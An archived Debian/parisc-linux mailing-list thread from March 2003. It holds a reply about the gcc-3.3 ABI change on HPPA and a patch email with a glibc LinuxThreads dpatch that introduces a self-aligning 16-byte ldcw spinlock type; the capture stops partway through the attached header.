Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Sun, 2 Mar 2003 09:24:58 +0000 (GMT)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0303020911230.24978-100000__24476.0663751096$1416622251$gmane$org@sal.ucc.ie>
References: <200303020540.h225eeif006180@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622251 22512 80.91.229.3 (22 Nov 2014 02:10:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:51 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	<parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  2 02:25:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id F221E4842
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Mar 2003 02:25:03 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h229Ovs23059;
	Sun, 2 Mar 2003 09:24:57 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <200303020540.h225eeif006180@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17825

On Sun, 2 Mar 2003, John David Anglin wrote:

> I should note again that 3.3 has a ABI change in the passing of small
> structures.  It also contains a fix for function pointer comparison.
> As glibc does function comparison in a number of routines, it needs
> recompilation with 3.3 to work correctly.  Then, I believe gcc needs
> to be rebuilt as libstdc++ depends on the thread implementation.  The
> last glibc linuxthread code that I downloaded was still broken.  I know
> Carlos has a patch in the works.

This means that future glibc (in Debian/PA-RISC, unstable) will/must
be compiled with gcc-3.3, along with all C++-programmes. Is this going to
happen soon or do you wait until gcc-3.3 is offically released?

Does this also imply that gcc/g++-3.3 will be the new default compiler
for unstable then? What (kind of) existing broken applications will be
fixed by recompiling with gcc-3.3?


Just curious, Max



From - Thu Nov 08 21:26:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Update HPPA LinuxThread implementation and remove old .dpatch's
Date: Sun, 2 Mar 2003 11:48:16 -0500
Lines: 804
Approved: news@gmane.org
Message-ID: <20030302164816.GF3009__49166.9039278806$1416622251$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="7iMSBzlTiPOCCT2k"
X-Trace: ger.gmane.org 1416622251 22513 80.91.229.3 (22 Nov 2014 02:10:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
To: debian-glibc@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  2 09:48:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 124634829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Mar 2003 09:48:06 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18pWdM-0003qu-00; Sun, 02 Mar 2003 11:48:16 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	debian-glibc@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Content-Disposition: inline
X-Useless-Header: oooohhmmm, chant the email mantra...
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17826

--7iMSBzlTiPOCCT2k
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


debian-glibc,

With regards to GNU/Libc 2.3.x

The following is an update of LinuxThreads for HPPA, the changelog
is in progress and it has shown no regressions from a testing
standpoint. It actually does better in the gcc/g++ testsuite. This work
represents some long discussions between John David Anglin and myself,
please read the dpatch for more information about a specific patch.

Please remove the following .dpatch files from debian-glibc's CVS:

glibc23-02-hppa-min-kern-unwind-fde.dpatch
glibc23-03-hppa-mcontext.dpatch
glibc23-04-hppa-fcntl64.dpatch
glibc23-05-hppa-buildhack.dpatch
glibc23-06-hppa-tests.dpatch
glibc23-08-hppa-configure.dpatch

They are no longer being used and were superceeded by CVS patches.

Please replace glibc23-00-hppa-pthreads.dpatch with the attached version.
Please add glibc23-hppa-malloc-align.dpatch to the list of HPPA patches.

Quick Summary:
- LinuxThreads is now using a self-aligning lock.
- Malloc alignment has been moved back to 8 for optimal performance.

I did this work over 2-3 weeks ago, but due to current time constraints
it was behind "libgcc-compat hppa" on the queue, and thus didn't get
out. Randolph Chung recently fixed hppa's __clz_tab libgcc-compat issue,
which means I can take the 5 minutes I need to send this email :)

This code has been heavily tested by John and myself, though should any
HPPA users find problems, or have comments, please file bugs and/or 
contact me direclty or via any of the lists :)

Happy hacking.

Cheers,
Carlos.


--7iMSBzlTiPOCCT2k
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="glibc23-00-hppa-pthreads.dpatch"

#! /bin/sh -e

# DP: Description: HP/PARISC Linuxthreads impelementation "__ldcw_align()"
# DP: Author: Carlos O'Donell <carlos@baldric.uwo.ca>
# DP: Upstream status: Not submitted
# DP: Status Details: Writing changelogs. 
# DP: Date: March 1st, 2003

# This patch represents some of the work that John David Anglin and myself
# have done to try get Linuxthreads passing all the gcc/g++/glibc testsuites.
# The biggest issue we are trying to solve is that of the required 16-byte
# alignment for all locks. Since gcc cannot provide this type of alignment
# in all scenarios, John devised an interesting self-alinging solution.
# The implementation of that solution is presented here.
#	- Carlos.

if [ $# -ne 2 ]; then
    echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
    exit 1
fi
case "$1" in
    -patch) patch -d "$2" -f --no-backup-if-mismatch -p1 < $0;;
    -unpatch) patch -d "$2" -f --no-backup-if-mismatch -R -p1 < $0;;
    *)
	echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
	exit 1
esac
exit 0

# append the patch here and adjust the -p? flag in the patch calls.
diff -urN glibc-2.3.1.orig/linuxthreads/descr.h glibc-2.3.1/linuxthreads/descr.h
--- glibc-2.3.1.orig/linuxthreads/descr.h	2003-01-15 12:58:11.000000000 -0500
+++ glibc-2.3.1/linuxthreads/descr.h	2003-01-15 18:24:36.000000000 -0500
@@ -70,7 +70,7 @@
 /* Atomic counter made possible by compare_and_swap */
 struct pthread_atomic {
   long p_count;
-  int p_spinlock;
+  __atomic_lock_t p_spinlock;
 };
 
 
diff -urN glibc-2.3.1.orig/linuxthreads/pt-machine.c glibc-2.3.1/linuxthreads/pt-machine.c
--- glibc-2.3.1.orig/linuxthreads/pt-machine.c	2002-08-26 18:39:45.000000000 -0400
+++ glibc-2.3.1/linuxthreads/pt-machine.c	2003-01-15 18:24:36.000000000 -0500
@@ -19,7 +19,9 @@
 
 #define PT_EI
 
-extern long int testandset (int *spinlock);
+#include <pthread.h>
+
+extern long int testandset (__atomic_lock_t *spinlock);
 extern int __compare_and_swap (long int *p, long int oldval, long int newval);
 
 #include <pt-machine.h>
diff -urN glibc-2.3.1.orig/linuxthreads/pthread.c glibc-2.3.1/linuxthreads/pthread.c
--- glibc-2.3.1.orig/linuxthreads/pthread.c	2003-01-15 12:58:15.000000000 -0500
+++ glibc-2.3.1/linuxthreads/pthread.c	2003-01-15 18:24:36.000000000 -0500
@@ -296,9 +296,9 @@
   pthread_descr self;
 
   /* First of all init __pthread_handles[0] and [1] if needed.  */
-# if __LT_SPINLOCK_INIT != 0
-  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
-  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
 # endif
 # ifndef SHARED
   /* Unlike in the dynamically linked case the dynamic linker has not
@@ -366,7 +366,7 @@
 # endif
   /* self->p_start_args need not be initialized, it's all zero.  */
   self->p_userstack = 1;
-# if __LT_SPINLOCK_INIT != 0
+# ifdef __LT_INITIALIZER_NOT_ZERO 
   self->p_resume_count = (struct pthread_atomic) __ATOMIC_INITIALIZER;
 # endif
   self->p_alloca_cutoff = __MAX_ALLOCA_CUTOFF;
@@ -380,9 +380,9 @@
 #else  /* USE_TLS */
 
   /* First of all init __pthread_handles[0] and [1].  */
-# if __LT_SPINLOCK_INIT != 0
-  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
-  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
 # endif
   __pthread_handles[0].h_descr = &__pthread_initial_thread;
   __pthread_handles[1].h_descr = &__pthread_manager_thread;
diff -urN glibc-2.3.1.orig/linuxthreads/spinlock.c glibc-2.3.1/linuxthreads/spinlock.c
--- glibc-2.3.1.orig/linuxthreads/spinlock.c	2002-08-29 06:32:19.000000000 -0400
+++ glibc-2.3.1/linuxthreads/spinlock.c	2003-01-15 18:24:36.000000000 -0500
@@ -24,9 +24,9 @@
 #include "spinlock.h"
 #include "restart.h"
 
-static void __pthread_acquire(int * spinlock);
+static void __pthread_acquire(__atomic_lock_t * spinlock);
 
-static inline void __pthread_release(int * spinlock)
+static inline void __pthread_release(__atomic_lock_t * spinlock)
 {
   WRITE_MEMORY_BARRIER();
   *spinlock = __LT_SPINLOCK_INIT;
@@ -269,11 +269,11 @@
 struct wait_node {
   struct wait_node *next;	/* Next node in null terminated linked list */
   pthread_descr thr;		/* The thread waiting with this node */
-  int abandoned;		/* Atomic flag */
+  __atomic_lock_t abandoned;	/* Atomic flag */
 };
 
 static long wait_node_free_list;
-static int wait_node_free_list_spinlock;
+__pthread_lock_define_initialized(static, wait_node_free_list_spinlock);
 
 /* Allocate a new node from the head of the free list using an atomic
    operation, or else using malloc if that list is empty.  A fundamental
@@ -376,7 +376,7 @@
       if (self == NULL)
 	self = thread_self();
 
-      wait_node.abandoned = 0;
+      wait_node.abandoned = __LT_SPINLOCK_INIT;
       wait_node.next = (struct wait_node *) lock->__status;
       wait_node.thr = self;
       lock->__status = (long) &wait_node;
@@ -402,7 +402,7 @@
       wait_node.thr = self;
       newstatus = (long) &wait_node;
     }
-    wait_node.abandoned = 0;
+    wait_node.abandoned = __LT_SPINLOCK_INIT;
     wait_node.next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -451,7 +451,7 @@
       if (self == NULL)
 	self = thread_self();
 
-      p_wait_node->abandoned = 0;
+      p_wait_node->abandoned = __LT_SPINLOCK_INIT;
       p_wait_node->next = (struct wait_node *) lock->__status;
       p_wait_node->thr = self;
       lock->__status = (long) p_wait_node;
@@ -474,7 +474,7 @@
       p_wait_node->thr = self;
       newstatus = (long) p_wait_node;
     }
-    p_wait_node->abandoned = 0;
+    p_wait_node->abandoned = __LT_SPINLOCK_INIT;
     p_wait_node->next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -574,7 +574,7 @@
     while (p_node != (struct wait_node *) 1) {
       int prio;
 
-      if (p_node->abandoned) {
+      if (lock_held(&p_node->abandoned)) {
 	/* Remove abandoned node. */
 #if defined TEST_FOR_COMPARE_AND_SWAP
 	if (!__pthread_has_cas)
@@ -605,7 +605,7 @@
 	p_max_prio = p_node;
       }
 
-      /* This canno6 jump backward in the list, so no further read
+      /* This cannot jump backward in the list, so no further read
          barrier is needed. */
       pp_node = &p_node->next;
       p_node = *pp_node;
@@ -662,7 +662,7 @@
 #if !defined HAS_COMPARE_AND_SWAP || defined TEST_FOR_COMPARE_AND_SWAP
 
 int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                               int * spinlock)
+                               __atomic_lock_t * spinlock)
 {
   int res;
 
@@ -699,7 +699,7 @@
    - When nanosleep() returns, we try again, doing MAX_SPIN_COUNT
      sched_yield(), then sleeping again if needed. */
 
-static void __pthread_acquire(int * spinlock)
+static void __pthread_acquire(__atomic_lock_t * spinlock)	
 {
   int cnt = 0;
   struct timespec tm;
diff -urN glibc-2.3.1.orig/linuxthreads/spinlock.h glibc-2.3.1/linuxthreads/spinlock.h
--- glibc-2.3.1.orig/linuxthreads/spinlock.h	2001-05-24 19:36:35.000000000 -0400
+++ glibc-2.3.1/linuxthreads/spinlock.h	2003-01-15 18:24:36.000000000 -0500
@@ -33,14 +33,28 @@
 #endif
 #endif
 
+/* Define lock_held for all arches that don't need a modified copy. */
+#ifndef __LT_INITIALIZER_NOT_ZERO
+# define lock_held(p) *(p)
+#endif
+
+/* Initliazers for possibly complex structures */
+#ifdef __LT_INITIALIZER_NOT_ZERO
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME = __LT_SPINLOCK_ALT_INIT
+#else
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME
+#endif
+
 #if defined(TEST_FOR_COMPARE_AND_SWAP)
 
 extern int __pthread_has_cas;
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   if (__builtin_expect (__pthread_has_cas, 1))
     return __compare_and_swap(ptr, oldval, newval);
@@ -58,7 +72,7 @@
 
 static inline int
 compare_and_swap_with_release_semantics (long * ptr, long oldval,
-					 long newval, int * spinlock)
+					 long newval, __atomic_lock_t * spinlock)
 {
   return __compare_and_swap_with_release_semantics (ptr, oldval,
 						    newval);
@@ -67,7 +81,7 @@
 #endif
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __compare_and_swap(ptr, oldval, newval);
 }
@@ -75,10 +89,10 @@
 #else
 
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __pthread_compare_and_swap(ptr, oldval, newval, spinlock);
 }
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pspinlock.c glibc-2.3.1/linuxthreads/sysdeps/hppa/pspinlock.c
--- glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pspinlock.c	2002-08-26 18:39:51.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/hppa/pspinlock.c	2003-01-15 18:26:51.000000000 -0500
@@ -24,15 +24,12 @@
 int
 __pthread_spin_lock (pthread_spinlock_t *lock)
 {
-  unsigned int val;
+	unsigned int *addr = __ldcw_align (lock);
+	
+	while (__ldcw (addr) == 0)
+		while (*addr == 0) ;
 
-  do
-    asm volatile ("ldcw %1,%0"
-		  : "=r" (val), "=m" (*lock)
-		  : "m" (*lock));
-  while (!val);
-
-  return 0;
+	return 0;
 }
 weak_alias (__pthread_spin_lock, pthread_spin_lock)
 
@@ -40,13 +37,9 @@
 int
 __pthread_spin_trylock (pthread_spinlock_t *lock)
 {
-  unsigned int val;
-
-  asm volatile ("ldcw %1,%0"
-		: "=r" (val), "=m" (*lock)
-		: "m" (*lock));
+	unsigned int *a = __ldcw_align (lock);
 
-  return val ? 0 : EBUSY;
+	return __ldcw (a) ? 0 : EBUSY;
 }
 weak_alias (__pthread_spin_trylock, pthread_spin_trylock)
 
@@ -54,7 +47,9 @@
 int
 __pthread_spin_unlock (pthread_spinlock_t *lock)
 {
-  *lock = 1;
+  unsigned int *a = __ldcw_align (lock);
+
+  *a = 1;
   return 0;
 }
 weak_alias (__pthread_spin_unlock, pthread_spin_unlock)
@@ -66,7 +61,9 @@
   /* We can ignore the `pshared' parameter.  Since we are busy-waiting
      all processes which can access the memory location `lock' points
      to can use the spinlock.  */
-  *lock = 1;
+  unsigned int *a = __ldcw_align (lock);
+
+  *a = 1;
   return 0;
 }
 weak_alias (__pthread_spin_init, pthread_spin_init)
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pt-machine.h glibc-2.3.1/linuxthreads/sysdeps/hppa/pt-machine.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pt-machine.h	2002-08-26 18:39:51.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/hppa/pt-machine.h	2003-01-15 18:24:49.000000000 -0500
@@ -22,13 +22,13 @@
 #ifndef _PT_MACHINE_H
 #define _PT_MACHINE_H   1
 
+#include <sys/types.h>
 #include <bits/initspin.h>
 
 #ifndef PT_EI
 # define PT_EI extern inline
 #endif
 
-extern long int testandset (int *spinlock);
 extern int __compare_and_swap (long int *p, long int oldval, long int newval);
 
 /* Get some notion of the current stack.  Need not be exactly the top
@@ -36,27 +36,80 @@
 #define CURRENT_STACK_FRAME  stack_pointer
 register char * stack_pointer __asm__ ("%r30");
 
+/* Get/Set thread-specific pointer.  We have to call into the kernel to
+ * modify it, but we can read it in user mode.  */
+
+#define THREAD_SELF __get_cr27()
+
+static inline struct _pthread_descr_struct * __get_cr27(void)
+{
+	long cr27;
+	asm("mfctl %%cr27, %0" : "=r" (cr27) : );
+	return (struct _pthread_descr_struct *) cr27;
+}
+
+#define INIT_THREAD_SELF(descr, nr) __set_cr27(descr)
+
+static inline void __set_cr27(struct _pthread_descr_struct * cr27)
+{
+	asm(
+		"ble	0xe0(%%sr2, %%r0)\n\t"
+		"copy	%0, %%r26"
+	 : : "r" (cr27) : "r26" );
+}
+
+/* We want the OS to assign stack addresses.  */
+#define FLOATING_STACKS	1
+#define ARCH_STACK_MAX_SIZE	8*1024*1024
 
 /* The hppa only has one atomic read and modify memory operation,
    load and clear, so hppa spinlocks must use zero to signify that
-   someone is holding the lock.  */
+   someone is holding the lock.  The address used for the ldcw
+   semaphore must be 16-byte aligned.  */
+#define __ldcw(a) ({ \
+  unsigned int __ret;							\
+  __asm__ __volatile__("ldcw 0(%2),%0"					\
+                      : "=r" (__ret), "=m" (*(a)) : "r" (a));		\
+  __ret;								\
+})
+
+/* Because malloc only guarantees 8-byte alignment for malloc'd data,
+   and GCC only guarantees 8-byte alignment for stack locals, we can't
+   be assured of 16-byte alignment for atomic lock data even if we
+   specify "__attribute ((aligned(16)))" in the type declaration.  So,
+   we use a struct containing an array of four ints for the atomic lock
+   type and dynamically select the 16-byte aligned int from the array
+   for the semaphore.  */
+#define __PA_LDCW_ALIGNMENT 16
+#define __ldcw_align(a) ({ \
+  unsigned int __ret = (unsigned int) a;				\
+  if ((__ret & ~(__PA_LDCW_ALIGNMENT - 1)) < (unsigned int) a)		\
+    __ret = (__ret & ~(__PA_LDCW_ALIGNMENT - 1)) + __PA_LDCW_ALIGNMENT; \
+  (unsigned int *) __ret;						\
+})
 
-#define xstr(s) str(s)
-#define str(s) #s
 /* Spinlock implementation; required.  */
-PT_EI long int
-testandset (int *spinlock)
+PT_EI int
+__load_and_clear (__atomic_lock_t *spinlock)
 {
-  int ret;
+  unsigned int *a = __ldcw_align (spinlock);
 
-  __asm__ __volatile__(
-       "ldcw 0(%2),%0"
-       : "=r"(ret), "=m"(*spinlock)
-       : "r"(spinlock));
+  return __ldcw (a);
+}
 
-  return ret == 0;
+/* Emulate testandset */
+PT_EI long int
+testandset (__atomic_lock_t *spinlock)
+{
+  return (__load_and_clear(spinlock) == 0);
 }
-#undef str
-#undef xstr
 
+PT_EI int
+lock_held (__atomic_lock_t *spinlock)
+{
+  unsigned int *a = __ldcw_align (spinlock);
+
+  return *a == 0;
+}
+		
 #endif /* pt-machine.h */
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/libc-lock.h glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/libc-lock.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/libc-lock.h	2003-01-15 12:58:35.000000000 -0500
+++ glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/libc-lock.h	2003-01-15 18:24:36.000000000 -0500
@@ -71,12 +71,12 @@
    initialized locks must be set to one due to the lack of normal
    atomic operations.) */
 
-#if __LT_SPINLOCK_INIT == 0
+#ifdef __LT_INITIALIZER_NOT_ZERO
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME;
+  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
 #else
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
+  CLASS __libc_lock_t NAME;
 #endif
 
 #define __libc_rwlock_define_initialized(CLASS,NAME) \
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	2003-01-15 12:58:35.000000000 -0500
+++ glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	2003-01-15 18:24:36.000000000 -0500
@@ -22,12 +22,14 @@
 #define __need_schedparam
 #include <bits/sched.h>
 
+typedef int __atomic_lock_t;
+
 /* Fast locks (not abstract because mutexes and conditions aren't abstract). */
 struct _pthread_fastlock
 {
-  long int __status;   /* "Free" or "taken" or head of waiting list */
-  int __spinlock;      /* Used by compare_and_swap emulation. Also,
-			  adaptive SMP lock stores spin count here. */
+  long int __status;		/* "Free" or "taken" or head of waiting list */
+  __atomic_lock_t __spinlock;	/* Used by compare_and_swap emulation. Also,
+				   adaptive SMP lock stores spin count here. */
 };
 
 #ifndef _PTHREAD_DESCR_DEFINED
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h	2002-08-26 18:39:55.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h	2003-01-15 18:24:49.000000000 -0500
@@ -17,11 +17,23 @@
    write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
    Boston, MA 02111-1307, USA.  */
 
+/* Initialize global spinlocks without cast, generally macro wrapped */
+#define __LT_SPINLOCK_ALT_INIT { { 1, 1, 1, 1, } }
+
 /* Initial value of a spinlock.  PA-RISC only implements atomic load
    and clear so this must be non-zero. */
-#define __LT_SPINLOCK_INIT 1
+#define __LT_SPINLOCK_INIT ((__atomic_lock_t) __LT_SPINLOCK_ALT_INIT)
+
+/* Macros for lock initializers, not using the above definition.
+   The above definition is not used in the case that static initializers
+   use this value. */
+#define __LOCK_INITIALIZER { __LT_SPINLOCK_ALT_INIT, 0 }
+#define __ATOMIC_INITIALIZER { 0, __LT_SPINLOCK_ALT_INIT }
+
+/* Used to initialize _pthread_fastlock's in non-static case */
+#define __LOCK_ALT_INITIALIZER ((struct _pthread_fastlock){ __LT_SPINLOCK_INIT, 0 })
+
+/* Tell the rest of the code that the initializer is non-zero without
+   explaining it's internal structure */
+#define __LT_INITIALIZER_NOT_ZERO
 
-/* Macros for lock initializers, using the above definition. */
-#define __LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
-#define __ALT_LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
-#define __ATOMIC_INITIALIZER { 0, __LT_SPINLOCK_INIT }
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h	1969-12-31 19:00:00.000000000 -0500
+++ glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h	2003-01-15 18:24:49.000000000 -0500
@@ -0,0 +1,150 @@
+/* Linuxthreads - a simple clone()-based implementation of Posix        */
+/* threads for Linux.                                                   */
+/* Copyright (C) 1996 Xavier Leroy (Xavier.Leroy@inria.fr)              */
+/*                                                                      */
+/* This program is free software; you can redistribute it and/or        */
+/* modify it under the terms of the GNU Library General Public License  */
+/* as published by the Free Software Foundation; either version 2       */
+/* of the License, or (at your option) any later version.               */
+/*                                                                      */
+/* This program is distributed in the hope that it will be useful,      */
+/* but WITHOUT ANY WARRANTY; without even the implied warranty of       */
+/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the        */
+/* GNU Library General Public License for more details.                 */
+
+#if !defined _BITS_TYPES_H && !defined _PTHREAD_H
+# error "Never include <bits/pthreadtypes.h> directly; use <sys/types.h> instead."
+#endif
+
+#ifndef _BITS_PTHREADTYPES_H
+#define _BITS_PTHREADTYPES_H	1
+
+#define __need_schedparam
+#include <bits/sched.h>
+
+/* We need 128-bit alignment for the ldcw semaphore.  At most, we are
+   assured of 64-bit alignment for stack locals and malloc'd data.  Thus,
+   we use a struct with four ints for the atomic lock type.  The locking
+   code will figure out which of the four to use for the ldcw semaphore.  */
+typedef volatile struct {
+  int lock[4];
+} __attribute__ ((aligned(16))) __atomic_lock_t;
+
+/* Fast locks (not abstract because mutexes and conditions aren't abstract). */
+struct _pthread_fastlock
+{
+  __atomic_lock_t __spinlock;	/* Used by compare_and_swap emulation.  Also,
+				   adaptive SMP lock stores spin count here. */
+  long int __status;		/* "Free" or "taken" or head of waiting list */
+};
+
+#ifndef _PTHREAD_DESCR_DEFINED
+/* Thread descriptors */
+typedef struct _pthread_descr_struct *_pthread_descr;
+# define _PTHREAD_DESCR_DEFINED
+#endif
+
+
+/* Attributes for threads.  */
+typedef struct __pthread_attr_s
+{
+  int __detachstate;
+  int __schedpolicy;
+  struct __sched_param __schedparam;
+  int __inheritsched;
+  int __scope;
+  size_t __guardsize;
+  int __stackaddr_set;
+  void *__stackaddr;
+  size_t __stacksize;
+} pthread_attr_t;
+
+
+/* Conditions (not abstract because of PTHREAD_COND_INITIALIZER */
+typedef struct
+{
+  struct _pthread_fastlock __c_lock; /* Protect against concurrent access */
+  _pthread_descr __c_waiting;        /* Threads waiting on this condition */
+} pthread_cond_t;
+
+
+/* Attribute for conditionally variables.  */
+typedef struct
+{
+  int __dummy;
+} pthread_condattr_t;
+
+/* Keys for thread-specific data */
+typedef unsigned int pthread_key_t;
+
+
+/* Mutexes (not abstract because of PTHREAD_MUTEX_INITIALIZER).  */
+/* (The layout is unnatural to maintain binary compatibility
+    with earlier releases of LinuxThreads.) */
+typedef struct
+{
+  int __m_reserved;               /* Reserved for future use */
+  int __m_count;                  /* Depth of recursive locking */
+  _pthread_descr __m_owner;       /* Owner thread (if recursive or errcheck) */
